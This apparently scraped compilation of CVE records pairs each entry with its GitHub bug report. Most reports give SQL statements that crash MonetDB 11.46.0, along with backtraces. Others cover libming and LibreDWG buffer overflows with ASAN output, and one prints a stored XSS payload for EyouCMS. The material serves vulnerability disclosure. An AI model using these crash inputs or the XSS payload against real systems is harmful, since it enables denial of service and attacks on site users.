**Describe the bug** MonetDB server 11.46.0 crashes at `__nss_database_lookup` after executing SQL statements through mclient. **To Reproduce** Use the `mclient` binary to connect MonetDB server and execute the following stmts: ```sql create schema test; drop schema test cascade; create schema test; set schema test; CREATE TABLE test (sect int NOT NULL auto_increment, PRIMARY KEY (sect)); create trigger count after delete on test for each row insert into test values (1); delete from test; ``` **Expected behavior** Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server. **Backtrace** ``` #0 0x7f76ea76ebee (__nss_database_lookup+0x2078e) #1 0x7f76eadf66fd (OPTemptybindImplementation+0x4fd) #2 0x7f76eae124f1 (OPTwrapper+0x191) #3 0x7f76eacdae23 (optimizeMALBlock+0x1a3) #4 0x7f76ea98391f (SQLoptimizeQuery+0x1df) #5 0x7f76ea94c57b (SQLparser+0x7eb) #6 0x7f76ea94b87b (SQLengine_+0x59b) #7 0x7f76ea94a343 (SQLengine+0x23) #8 0x7f76eacd96cf (runScenario+0x4f) #9 0x7f76eacda16c (MSscheduleClient+0x68c) #10 0x7f76ead81c2b (doChallenge+0xfb) #11 0x7f76eb400ba0 (THRstarter+0x100) #12 0x7f76eb470cc4 (thread_starter+0x34) #13 0x7f76ea7e5609 (start_thread+0xd9) #14 0x7f76ea70a133 (clone+0x43) ``` **Screenshots**  **Software versions** - MonetDB server version: 11.46.0 (hg id: 63a42c2) (pulled from the master branch) - MonetDB client version: mclient, version 11.48.0 (hg id: 63a42c2) - OS and version: ubuntu 20.04 - Self-installed and compiled. The command line of compilation: `CC=clang-12 CXX=clang++-12 cmake /root/monetdb_master -DCMAKE_BUILD_TYPE=RelWithDebInfo` **Issue labeling** bug **Additional context** The MonetDB here runs in-memory database. The command line of starting MonetDB server is `mserver5 --in-memory`. Using the mlient or unixODBC with command line like `isql monetdb -e` can reproduce the crash. But command line `isql monetdb` (without the -e option) cannot reproduce it.

MonetDB server 11.46.0 crashes at `__nss_database_lookup`

https://api.github.com/repos/MonetDB/MonetDB/issues/7384/comments

2023-06-16T18:25:56Z

2024-06-27T13:18:29Z

https://github.com/MonetDB/MonetDB/issues/7384

CVE-2023-36364

2023-06-22T14:15:09.790

An issue in the rel_deps component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/MonetDB/MonetDB/issues/7386

github.com

**Describe the bug** MonetDB server 11.46.0 crashes in `rel_deps` after executing SQL statements through mclient. **To Reproduce** ```sql CREATE VIEW t2 AS SELECT 1 UNION ALL SELECT 1; CREATE VIEW v2 AS SELECT * FROM t2; ``` **Expected behavior** Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server. **Backtrace** ``` #0 0x7fc48d1c68d1 (rel_deps+0x191) #1 0x7fc48d1c6997 (rel_deps+0x257) #2 0x7fc48d1c670a (rel_dependencies+0x4a) #3 0x7fc48d072b25 (create_table_or_view+0x865) #4 0x7fc48d0aab57 (SQLcreate_view+0xe7) #5 0x7fc48d404c63 (runMALsequence+0x763) #6 0x7fc48d40431e (runMAL+0x9e) #7 0x7fc48d08b9f9 (SQLrun+0xd9) #8 0x7fc48d08cbee (SQLengineIntern+0x4e) #9 0x7fc48d08a8c2 (SQLengine_+0x5e2) #10 0x7fc48d089343 (SQLengine+0x23) #11 0x7fc48d4186cf (runScenario+0x4f) #12 0x7fc48d41916c (MSscheduleClient+0x68c) #13 0x7fc48d4c0c2b (doChallenge+0xfb) #14 0x7fc48db3fba0 (THRstarter+0x100) #15 0x7fc48dbafcc4 (thread_starter+0x34) #16 0x7fc48cf24609 (start_thread+0xd9) #17 0x7fc48ce49133 (clone+0x43) ``` **Software versions** - MonetDB server version: 11.46.0 (hg id: 63a42c2) (pulled from the master branch) - MonetDB client version: mclient, version 11.48.0 (hg id: 63a42c2) - OS and version: ubuntu 20.04 - Self-installed and compiled. The command line of compilation: `CC=clang-12 CXX=clang++-12 cmake /root/monetdb_master -DCMAKE_BUILD_TYPE=RelWithDebInfo` **Issue labeling** bug **Additional context** The MonetDB here runs in-memory database. The command line of starting MonetDB server is `mserver5 --in-memory`.

MonetDB server 11.46.0 crashes in `rel_deps`

https://api.github.com/repos/MonetDB/MonetDB/issues/7386/comments

2023-06-16T18:43:11Z

2024-06-27T13:18:30Z

https://github.com/MonetDB/MonetDB/issues/7386

CVE-2023-36365

2023-06-22T14:15:09.837

An issue in the sql_trans_copy_key component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/MonetDB/MonetDB/issues/7378

github.com

**Describe the bug** MonetDB server crashes at sql_trans_copy_key after executing SQL statements through ODBC. **To Reproduce** ```sql START TRANSACTION; CREATE TEMPORARY TABLE temptest3(col int PRIMARY KEY) ON COMMIT DROP; CREATE TEMPORARY TABLE temptest4(col int, FOREIGN KEY (col) REFERENCES temptest3); ``` **Expected behavior** Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server. **Backtrace** ``` #0 0x7f9d8a205eb0 (sql_trans_copy_key+0x1c0) #1 0x7f9d8a258c7e (mvc_copy_key+0x1e) #2 0x7f9d8a13fa5c (create_table_or_view+0x79c) #3 0x7f9d8a1779e1 (SQLcreate_table+0x111) #4 0x7f9d8a4d1c63 (runMALsequence+0x763) #5 0x7f9d8a4d131e (runMAL+0x9e) #6 0x7f9d8a1589f9 (SQLrun+0xd9) #7 0x7f9d8a159bee (SQLengineIntern+0x4e) #8 0x7f9d8a1578c2 (SQLengine_+0x5e2) #9 0x7f9d8a156343 (SQLengine+0x23) #10 0x7f9d8a4e56cf (runScenario+0x4f) #11 0x7f9d8a4e616c (MSscheduleClient+0x68c) #12 0x7f9d8a58dc2b (doChallenge+0xfb) #13 0x7f9d8ac0cba0 (THRstarter+0x100) #14 0x7f9d8ac7ccc4 (thread_starter+0x34) #15 0x7f9d89ff1609 (start_thread+0xd9) #16 0x7f9d89f16133 (clone+0x43) ``` **Software versions** - MonetDB server version: 11.46.0 (hg id: 63a42c2) (pulled from the master branch) - MonetDB ODBC version: 11.46.0 - OS and version: ubuntu 20.04 - Self-installed and compiled. The command line of compilation: `CC=clang-12 CXX=clang++-12 cmake /root/monetdb_master -DCMAKE_BUILD_TYPE=RelWithDebInfo` **Additional context** MonetDB runs in-memory database. The command line of starting MonetDB server is `mserver5 --in-memory`.

MonetDB server crashes at sql_trans_copy_key

https://api.github.com/repos/MonetDB/MonetDB/issues/7378/comments

2023-06-16T15:58:24Z

2024-06-27T13:18:24Z

https://github.com/MonetDB/MonetDB/issues/7378

CVE-2023-36366

2023-06-22T14:15:09.883

An issue in the log_create_delta component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause Denial of Service (DoS) via crafted SQL statements.

https://github.com/MonetDB/MonetDB/issues/7381

github.com

**Describe the bug** MonetDB server 11.46.0 crashes at `log_create_delta` after executing SQL statements through mclient. **To Reproduce** ```sql CREATE TABLE t1(unique_constraint INT PRIMARY KEY); START TRANSACTION; ALTER TABLE t1 ADD COLUMN uniq_c1_c2_c3 INT; ALTER TABLE t1 DROP COLUMN uniq_c1_c2_c3; COMMIT; ``` **Expected behavior** Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server. **Backtrace** ``` #0 0x7f19dc711703 (log_create_delta+0x23) #1 0x7f19dc7116bd (log_create_col+0x1d) #2 0x7f19dc6e088e (sql_trans_commit+0x36e) #3 0x7f19dc6eb353 (sql_trans_end+0x83) #4 0x7f19dc72e10c (mvc_commit+0x4fc) #5 0x7f19dc65532c (SQLtransaction_commit+0x9c) #6 0x7f19dc9a9c63 (runMALsequence+0x763) #7 0x7f19dc9a931e (runMAL+0x9e) #8 0x7f19dc6309f9 (SQLrun+0xd9) #9 0x7f19dc631bee (SQLengineIntern+0x4e) #10 0x7f19dc62f8c2 (SQLengine_+0x5e2) #11 0x7f19dc62e343 (SQLengine+0x23) #12 0x7f19dc9bd6cf (runScenario+0x4f) #13 0x7f19dc9be16c (MSscheduleClient+0x68c) #14 0x7f19dca65c2b (doChallenge+0xfb) #15 0x7f19dd0e4ba0 (THRstarter+0x100) #16 0x7f19dd154cc4 (thread_starter+0x34) #17 0x7f19dc4c9609 (start_thread+0xd9) #18 0x7f19dc3ee133 (clone+0x43) ``` **Software versions** - MonetDB server version: 11.46.0 (hg id: 63a42c2) (pulled from the master branch) - MonetDB client version: mclient, version 11.48.0 (hg id: 63a42c2) - OS and version: ubuntu 20.04 - Self-installed and compiled. The command line of compilation: `CC=clang-12 CXX=clang++-12 cmake /root/monetdb_master -DCMAKE_BUILD_TYPE=RelWithDebInfo` **Issue labeling** bug **Additional context** The MonetDB here runs in-memory database. The command line of starting MonetDB server is `mserver5 --in-memory`.

MonetDB server 11.46.0 crashes at `log_create_delta`

https://api.github.com/repos/MonetDB/MonetDB/issues/7381/comments

2023-06-16T17:04:12Z

2024-06-27T13:18:27Z

https://github.com/MonetDB/MonetDB/issues/7381

CVE-2023-36367

2023-06-22T14:15:09.930

An issue in the BLOBcmp component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/MonetDB/MonetDB/issues/7380

github.com

**Describe the bug** MonetDB server 11.46.0 crashes at `BLOBcmp` after executing SQL statements through mclient. **To Reproduce** ```sql CREATE TABLE a (p_id INT, p_name BLOB); INSERT INTO a VALUES (1,NULL); TRACE select * from a where p_name='Lilu'; ``` **Expected behavior** Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server. **Backtrace** ``` #0 0x7f2b15259d39 (BLOBcmp+0x19) #1 0x7f2b14b2a171 (prepareMalEvent+0x541) #2 0x7f2b14b2b10f (sqlProfilerEvent+0x6f) #3 0x7f2b14b152ec (runtimeProfileExit+0x11c) #4 0x7f2b14b1ab01 (runMALsequence+0x1601) #5 0x7f2b14b1d5d4 (DFLOWworker+0x2c4) #6 0x7f2b15254ba0 (THRstarter+0x100) #7 0x7f2b152c4cc4 (thread_starter+0x34) #8 0x7f2b14639609 (start_thread+0xd9) #9 0x7f2b1455e133 (clone+0x43) ``` **Software versions** - MonetDB server version: 11.46.0 (hg id: 63a42c2) (pulled from the master branch) - MonetDB client version: mclient, version 11.48.0 (hg id: 63a42c2) - OS and version: ubuntu 20.04 - Self-installed and compiled. The command line of compilation: `CC=clang-12 CXX=clang++-12 cmake /root/monetdb_master -DCMAKE_BUILD_TYPE=RelWithDebInfo` **Issue labeling** bug **Additional context** The MonetDB here runs in-memory database. The command line of starting MonetDB server is `mserver5 --in-memory`.

MonetDB server 11.46.0 crashes at `BLOBcmp`

https://api.github.com/repos/MonetDB/MonetDB/issues/7380/comments

2023-06-16T16:57:43Z

2024-06-27T13:18:26Z

https://github.com/MonetDB/MonetDB/issues/7380

CVE-2023-36368

2023-06-22T14:15:09.977

An issue in the cs_bind_ubat component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/MonetDB/MonetDB/issues/7379

github.com

**Describe the bug** MonetDB server crashes at `cs_bind_ubat` after executing SQL statements through ODBC. **To Reproduce** ```sql CREATE TABLE t2 (c1 int, t1 int, c2 int); INSERT INTO t2 VALUES(127,255,1),(127,1,2),(-128,0,3),(-128,2,4),(-1,NULL,5); INSERT INTO t2 VALUES(200,126,1),(250,-127,2); INSERT INTO t2 VALUES (-128,0,1),(-1,1,1),(-2,2,2),(-3,3,3),(-4,4,4),(-5,5,5),(-6,6,6),(0,0,7),(1,1,8),(2,NULL,9),(3,NULL,10),(127,255,11); DELETE FROM t2 WHERE c1 IN (-2, 0); START TRANSACTION; UPDATE t2 SET c2 = c2 + 100; UPDATE t2 SET c2 = c2 + 100; ``` **Expected behavior** Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server. **Backtrace** ``` #0 0x7f6388374871 (cs_bind_ubat+0x151) #1 0x7f6388373483 (bind_ubat+0x43) #2 0x7f638836d860 (bind_updates+0xe0) #3 0x7f63882854ce (mvc_bind_wrap+0x28e) #4 0x7f6388614c63 (runMALsequence+0x763) #5 0x7f63886185d4 (DFLOWworker+0x2c4) #6 0x7f6388d4fba0 (THRstarter+0x100) #7 0x7f6388dbfcc4 (thread_starter+0x34) #8 0x7f6388134609 (start_thread+0xd9) #9 0x7f6388059133 (clone+0x43) ``` **Software versions** - MonetDB server version: 11.46.0 (hg id: 63a42c2) (pulled from the master branch) - MonetDB ODBC version: 11.46.0 - OS and version: ubuntu 20.04 - Self-installed and compiled. The command line of compilation: `CC=clang-12 CXX=clang++-12 cmake /root/monetdb_master -DCMAKE_BUILD_TYPE=RelWithDebInfo` **Issue labeling ** bug **Additional context** The MonetDB here runs in-memory database. The command line of starting MonetDB server is `mserver5 --in-memory`.

MonetDB server 11.46.0 crashes at cs_bind_ubat

https://api.github.com/repos/MonetDB/MonetDB/issues/7379/comments

2023-06-16T16:52:13Z

2024-06-27T13:18:25Z

https://github.com/MonetDB/MonetDB/issues/7379

CVE-2023-36369

2023-06-22T14:15:10.023

An issue in the list_append component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/MonetDB/MonetDB/issues/7383

github.com

**Describe the bug** MonetDB server 11.46.0 crashes at `list_append` after executing SQL statements through mclient. **To Reproduce** ```sql create table t1(c1 int auto_increment primary key NOT NULL); create trigger i1 after insert on t1 for each row insert into t1 values(NULL); insert into t1 values(NULL); ``` **Expected behavior** This crash is strange. From the backtrace as follows, we can know that the crash is caused by infinite recursion. However, if we change the first statement into `create table t1(c1 int);`, the MonetDB will return the message `Query too complex: running out of stack space` when executing the third stmt. So, MonetDB handles out of stack space, but it does not work with some special table definitions? What's more, the definition of the table contains the `NOT NULL` constraint, which should fail the third stmt. If we remove the create trigger statement, MonetDB will return the message `INSERT INTO: NOT NULL constraint violated for column t1.c1` when executing the insert stmt. But with the create trigger stmt, it crashes instead. Anyway, I think the expected behavior is to return the error message `Query too complex: running out of stack space` or `INSERT INTO: NOT NULL constraint violated for column t1.c1`, instead of crashing straightly. **Backtrace** ``` #0 0x7f0c3760dbda (list_append+0x1a) #1 0x7f0c376669c6 (rel_insert+0x196) #2 0x7f0c3766abb3 (rel_updates+0x1ce3) #3 0x7f0c376c6c11 (sequential_block+0x121) #4 0x7f0c376c52dc (rel_psm+0x131c) #5 0x7f0c37653091 (rel_semantic+0x91) #6 0x7f0c37652e6a (rel_parse+0x19a) #7 0x7f0c37563102 (sql_insert_triggers+0x232) #8 0x7f0c3755bb5e (rel2bin_insert+0x148e) #9 0x7f0c37554539 (subrel_bin+0xd69) #10 0x7f0c3755f218 (exp_bin+0x29e8) #11 0x7f0c37558567 (subrel_bin+0x4d97) #12 0x7f0c37563162 (sql_insert_triggers+0x292) #13 0x7f0c3755bb5e (rel2bin_insert+0x148e) #14 0x7f0c37554539 (subrel_bin+0xd69) #15 0x7f0c3755f218 (exp_bin+0x29e8) #16 0x7f0c37558567 (subrel_bin+0x4d97) #17 0x7f0c37563162 (sql_insert_triggers+0x292) ... #7407 0x7f0c37563162 (sql_insert_triggers+0x292) #7408 0x7f0c3755bb5e (rel2bin_insert+0x148e) #7409 0x7f0c37554539 (subrel_bin+0xd69) #7410 0x7f0c3755373b (output_rel_bin+0x6b) #7411 0x7f0c3757f9d9 (backend_dumpstmt+0x199) #7412 0x7f0c3754a367 (SQLparser+0x5d7) #7413 0x7f0c3754987b (SQLengine_+0x59b) #7414 0x7f0c37548343 (SQLengine+0x23) #7415 0x7f0c378d76cf (runScenario+0x4f) #7416 0x7f0c378d816c (MSscheduleClient+0x68c) #7417 0x7f0c3797fc2b (doChallenge+0xfb) #7418 0x7f0c37ffeba0 (THRstarter+0x100) #7419 0x7f0c3806ecc4 (thread_starter+0x34) #7420 0x7f0c373e3609 (start_thread+0xd9) #7421 0x7f0c37308133 (clone+0x43) ``` **Software versions** - MonetDB server version: 11.46.0 (hg id: 63a42c2) (pulled from the master branch) - MonetDB client version: mclient, version 11.48.0 (hg id: 63a42c2) - OS and version: ubuntu 20.04 - Self-installed and compiled. The command line of compilation: `CC=clang-12 CXX=clang++-12 cmake /root/monetdb_master -DCMAKE_BUILD_TYPE=RelWithDebInfo` **Issue labeling** bug **Additional context** The MonetDB here runs in-memory database. The command line of starting MonetDB server is `mserver5 --in-memory`.

MonetDB server 11.46.0 crashes at `list_append`

https://api.github.com/repos/MonetDB/MonetDB/issues/7383/comments

2023-06-16T17:58:27Z

2024-06-27T13:18:28Z

https://github.com/MonetDB/MonetDB/issues/7383

CVE-2023-36370

2023-06-22T14:15:10.067

An issue in the gc_col component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/MonetDB/MonetDB/issues/7382

github.com

**Describe the bug** MonetDB server 11.46.0 crashes at `gc_col` after executing SQL statements through ODBC. **To Reproduce** 1. Configure the unixODBC with MonetDB ODBC drivers 2. Use the command line like `isql monetdb -v -e` to connect (**to trigger the crash, the '-e' option is necessary.** But I don't know why) 3. Execute the following SQL statements: ```sql START TRANSACTION; CREATE TEMPORARY TABLE t1 (keyc INT, c1 VARCHAR(100), c2 VARCHAR(100), PRIMARY KEY(keyc)); CREATE TABLE c1(c2 DECIMAL(9,4) NOT NULL); SAVEPOINT a_a; TRUNCATE TABLE t1; DELETE FROM w; COMMIT; SELECT 1; ``` **Expected behavior** Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server. **Backtrace** ``` #0 0x7ff2e7285dd6 (gc_col+0x26) #1 0x7ff2e7282cd5 (tc_gc_col+0x15) #2 0x7ff2e7251307 (store_pending_changes+0x307) #3 0x7ff2e7255a87 (sql_trans_commit+0x567) #4 0x7ff2e7260353 (sql_trans_end+0x83) #5 0x7ff2e72a310c (mvc_commit+0x4fc) #6 0x7ff2e71a4564 (SQLengine_+0x284) #7 0x7ff2e71a3343 (SQLengine+0x23) #8 0x7ff2e75326cf (runScenario+0x4f) #9 0x7ff2e753316c (MSscheduleClient+0x68c) #10 0x7ff2e75dac2b (doChallenge+0xfb) #11 0x7ff2e7c59ba0 (THRstarter+0x100) #12 0x7ff2e7cc9cc4 (thread_starter+0x34) #13 0x7ff2e703e609 (start_thread+0xd9) #14 0x7ff2e6f63133 (clone+0x43) ``` **Software versions** - MonetDB server version: 11.46.0 (hg id: 63a42c2) (pulled from the master branch) - MonetDB client version: mclient, version 11.48.0 (hg id: 63a42c2) - OS and version: ubuntu 20.04 - Self-installed and compiled. The command line of compilation: `CC=clang-12 CXX=clang++-12 cmake /root/monetdb_master -DCMAKE_BUILD_TYPE=RelWithDebInfo` **Issue labeling** bug **Additional context** The MonetDB here runs in-memory database. The command line of starting MonetDB server is `mserver5 --in-memory`. If the crash cannot be reproduced easily, please tell me. I will try to provide the whole steps to trigger the crash as possible.

MonetDB server 11.46.0 crashes at `gc_col`

https://api.github.com/repos/MonetDB/MonetDB/issues/7382/comments

2023-06-16T17:28:01Z

2024-06-27T13:18:27Z

https://github.com/MonetDB/MonetDB/issues/7382

CVE-2023-36371

2023-06-22T14:15:10.117

An issue in the GDKfree component of MonetDB Server v11.45.17 and v11.46.0 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.

https://github.com/MonetDB/MonetDB/issues/7385

github.com

**Describe the bug** MonetDB server 11.46.0 crashes in `GDKfree` after executing SQL statements through mclient. **To Reproduce** 1. Use mclient to connect MonetDB server; 2. Try to execute the following SQL statements **multiple times**. Sometimes they will crash the server. (On my machine, the server crashes after repeating executing these SQLs with at most 4 times) ```sql DROP SCHEMA test CASCADE; CREATE SCHEMA test; SET SCHEMA test; CREATE TABLE src (src_c1_pkey INT, c1 VARCHAR(100)); START TRANSACTION; DELETE FROM src; ALTER TABLE src DROP src_c1_pkey; INSERT INTO src VALUES(1,1),(2,2),(3,3),(4,4),(6,6),(7,7),(8,8),(9,9),(10,10); COMMIT; SET SCHEMA sys; DROP SCHEMA test CASCADE; CREATE SCHEMA test; ``` **Expected behavior** Executing statements successfully or throwing errors, instead of breaking down the whole MonetDB server. **Backtrace** ``` #0 0x7f280338000b (gsignal+0xcb) #1 0x7f280335f859 (abort+0x12b) #2 0x7f28033ca26e (__fsetlocking+0x42e) #3 0x7f28033d22fc (pthread_attr_setschedparam+0x54c) #4 0x7f28033d3f6d (pthread_attr_setschedparam+0x21bd) #5 0x7f280414f765 (GDKfree+0x25) #6 0x7f280377af7b (destroy_delta+0x7b) #7 0x7f280377576d (destroy_col+0x2d) #8 0x7f2803745345 (column_destroy+0x45) #9 0x7f2803761ec2 (list_destroy2+0xa2) #10 0x7f2803760d14 (ol_destroy+0x34) #11 0x7f2803745450 (table_destroy+0x90) #12 0x7f280375ec17 (objectversion_destroy+0x77) #13 0x7f280375eb4f (os_destroy+0xcf) #14 0x7f2803750cdc (schema_destroy+0x7c) #15 0x7f280375ec17 (objectversion_destroy+0x77) #16 0x7f280376065d (objectversion_destroy_recursive+0x3d) #17 0x7f2803760345 (tc_gc_objectversion+0x75) #18 0x7f280374a307 (store_pending_changes+0x307) #19 0x7f280374ea87 (sql_trans_commit+0x567) #20 0x7f2803759353 (sql_trans_end+0x83) #21 0x7f280379c10c (mvc_commit+0x4fc) #22 0x7f280369d564 (SQLengine_+0x284) #23 0x7f280369c343 (SQLengine+0x23) #24 0x7f2803a2b6cf (runScenario+0x4f) #25 0x7f2803a2c16c (MSscheduleClient+0x68c) #26 0x7f2803ad3c2b (doChallenge+0xfb) #27 0x7f2804152ba0 (THRstarter+0x100) #28 0x7f28041c2cc4 (thread_starter+0x34) #29 0x7f2803537609 (start_thread+0xd9) #30 0x7f280345c133 (clone+0x43) ``` **Software versions** - MonetDB server version: 11.46.0 (hg id: 63a42c2) (pulled from the master branch) - MonetDB client version: mclient, version 11.48.0 (hg id: 63a42c2) - OS and version: ubuntu 20.04 - Self-installed and compiled. The command line of compilation: `CC=clang-12 CXX=clang++-12 cmake /root/monetdb_master -DCMAKE_BUILD_TYPE=RelWithDebInfo` **Issue labeling** bug **Additional context** The MonetDB here runs in-memory database. The command line of starting MonetDB server is `mserver5 --in-memory`. If the crash cannot be reproduced easily, please tell me. I will try to provide the whole steps to trigger the crash as possible.

MonetDB server 11.46.0 crashes in `GDKfree`

https://api.github.com/repos/MonetDB/MonetDB/issues/7385/comments

2023-06-16T18:40:11Z

2023-09-18T07:58:41Z

https://github.com/MonetDB/MonetDB/issues/7385

CVE-2023-36093

2023-06-22T15:15:13.580

There is a storage type cross site scripting (XSS) vulnerability in the filing number of the Basic Information tab on the backend management page of EyouCMS v1.6.3

https://github.com/weng-xianhu/eyoucms/issues/44

github.com

There is a storage type cross site scripting vulnerability in the filing number of the Basic Information tab on the backend management page of EyouCMS v1.6.3 poc: <svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>   

EyouCMS v1.6.3 has stored xss

https://api.github.com/repos/weng-xianhu/eyoucms/issues/44/comments

2023-06-08T08:06:38Z

2024-03-22T06:48:29Z

https://github.com/weng-xianhu/eyoucms/issues/44

CVE-2023-36239

2023-06-22T19:15:09.037

libming listswf 0.4.7 was discovered to contain a buffer overflow in the parseSWF_DEFINEFONTINFO() function at parser.c.

https://github.com/libming/libming/issues/273

github.com

# Allocation size overflow in parseSWF_DEFINEFONTINFO() at parser.c:1948 Allocation size overflow in the listswf at function parseSWF_DEFINEFONTINFO in parser.c:1948. ## Environment Ubuntu 18.04, 64 bit libming 0.4.7 ## Steps to reproduce 1. download file ``` git clone https://github.com/libming/libming.git libming-ming-0_4_7 ``` 2. compile libming with ASAN ``` cd libming-ming-0_4_7 git checkout 5aa3470 ./autogen.sh export FORCE_UNSAFE_CONFIGURE=1 export LLVM_COMPILER=clang CC=wllvm CXX=wllvm++ CFLAGS="-g -O0 -fcommon -Wno-error" ./configure --prefix=`pwd`/obj-bc --with-php-config=/usr/bin/php-config7.2 --enable-static --disable-shared make make install cd obj-bc/bin/ extract-bc listswf clang -fsanitize=address -lz -lm listswf.bc -o listswf_asan ``` 3. command for reproducing the error ``` ./listswf_asan poc ``` Download poc: [libming_0-4-7_listswf_allocation-size-overflow_parser1948.zip](https://github.com/libming/libming/files/11731679/libming_0-4-7_listswf_allocation-size-overflow_parser1948.zip) ## ASAN report ``` root@a71b82b5d288:~/dataset/libming-ming-0_4_7/obj-bc/bin# ./listswf_asan libming_0-4-7_listswf_allocation-size-overflow_parser1948.swf header indicates a filesize of 6350 but filesize is 296 File version: 10 File size: 296 Frame size: (0,0)x(0,0) Frame rate: 237.609375 / sec. Total frames: 31640 ================================================================= ==29667==ERROR: AddressSanitizer: requested allocation size 0xfffffffffffffed6 (0x6d8 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0) #0 0x4ade60 in malloc /root/LLVM/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145 #1 0x50fefd in parseSWF_DEFINEFONTINFO /root/dataset/libming-ming-0_4_7/util/parser.c:1948:34 #2 0x4fefda in blockParse /root/dataset/libming-ming-0_4_7/util/blocktypes.c:145:14 #3 0x4fceb2 in readMovie /root/dataset/libming-ming-0_4_7/util/main.c:265:11 #4 0x4fca7d in main /root/dataset/libming-ming-0_4_7/util/main.c:350:2 #5 0x7fa41cb57c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310 ==29667==HINT: if you don't care about these errors you may set allocator_may_return_null=1 SUMMARY: AddressSanitizer: allocation-size-too-big /root/LLVM/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145 in malloc ==29667==ABORTING ```

Allocation size overflow in parseSWF_DEFINEFONTINFO() at parser.c:1948

https://api.github.com/repos/libming/libming/issues/273/comments

2023-06-13T07:08:07Z

2023-06-13T07:08:07Z

https://github.com/libming/libming/issues/273

CVE-2023-36271

2023-06-23T15:15:10.027

LibreDWG v0.12.5 was discovered to contain a heap buffer overflow via the function bit_wcs2nlen at bits.c.

https://github.com/LibreDWG/libredwg/issues/681#BUG2

github.com

Hello, I was testing my fuzzer and found two bugs in dwg2SVG. ## environment ubuntu 20.04, GCC 9.4.0, libredwg latest commit 9df4ec3c524795a401acf371c8a953f5b1a6fadf compile with ``` ./autogen.sh && ./configure --disable-shared && make -j$(nproc) ``` ##BUG1 ``` ./dwg2SVG ../pocs/poc0.bit_utf8_to_TU ================================================================= ==19712==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000dc at pc 0x5603ca37f05a bp 0x7fff049b1c90 sp 0x7fff049b1c80 WRITE of size 2 at 0x6020000000dc thread T0 #0 0x5603ca37f059 in bit_utf8_to_TU /libredwg/src/bits.c:2883 #1 0x5603cae6faab in dwg_is_valid_tag /libredwg/src/dwg_api.c:22059 #2 0x5603cae6faab in dwg_is_valid_tag /libredwg/src/dwg_api.c:22048 #3 0x5603ca7744de in dwg_decode_ATTRIB_private /libredwg/src/dwg.spec:204 #4 0x5603ca8fe1ec in dwg_decode_ATTRIB /libredwg/src/dwg.spec:187 #5 0x5603cacaa3a2 in decode_preR13_entities /libredwg/src/decode.c:6520 #6 0x5603cacf559c in decode_preR13 /libredwg/src/decode_r11.c:719 #7 0x5603cac76a6a in dwg_decode /libredwg/src/decode.c:217 #8 0x5603ca362d77 in dwg_read_file /libredwg/src/dwg.c:261 #9 0x5603ca35857c in main /libredwg/programs/dwg2SVG.c:979 #10 0x7fc02854f082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) #11 0x5603ca358c1d in _start (/validate/dwg2SVG/dwg2SVG+0x206c1d) 0x6020000000dc is located 0 bytes to the right of 12-byte region [0x6020000000d0,0x6020000000dc) allocated by thread T0 here: #0 0x7fc028979a06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153 #1 0x5603ca37e83a in bit_utf8_to_TU /libredwg/src/bits.c:2856 SUMMARY: AddressSanitizer: heap-buffer-overflow /libredwg/src/bits.c:2883 in bit_utf8_to_TU Shadow bytes around the buggy address: 0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c047fff8000: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00 =>0x0c047fff8010: fa fa 02 fa fa fa 01 fa fa fa 00[04]fa fa fa fa 0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==19712==ABORTING ``` ##BUG2 ``` ./dwg2SVG ../pocs/poc1.bit_wcs2nlen ==19713==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000097a at pc 0x55781f6dd09d bp 0x7ffc201cb2e0 sp 0x7ffc201cb2d0 READ of size 2 at 0x60400000097a thread T0 #0 0x55781f6dd09c in bit_wcs2nlen /libredwg/src/bits.c:1834 #1 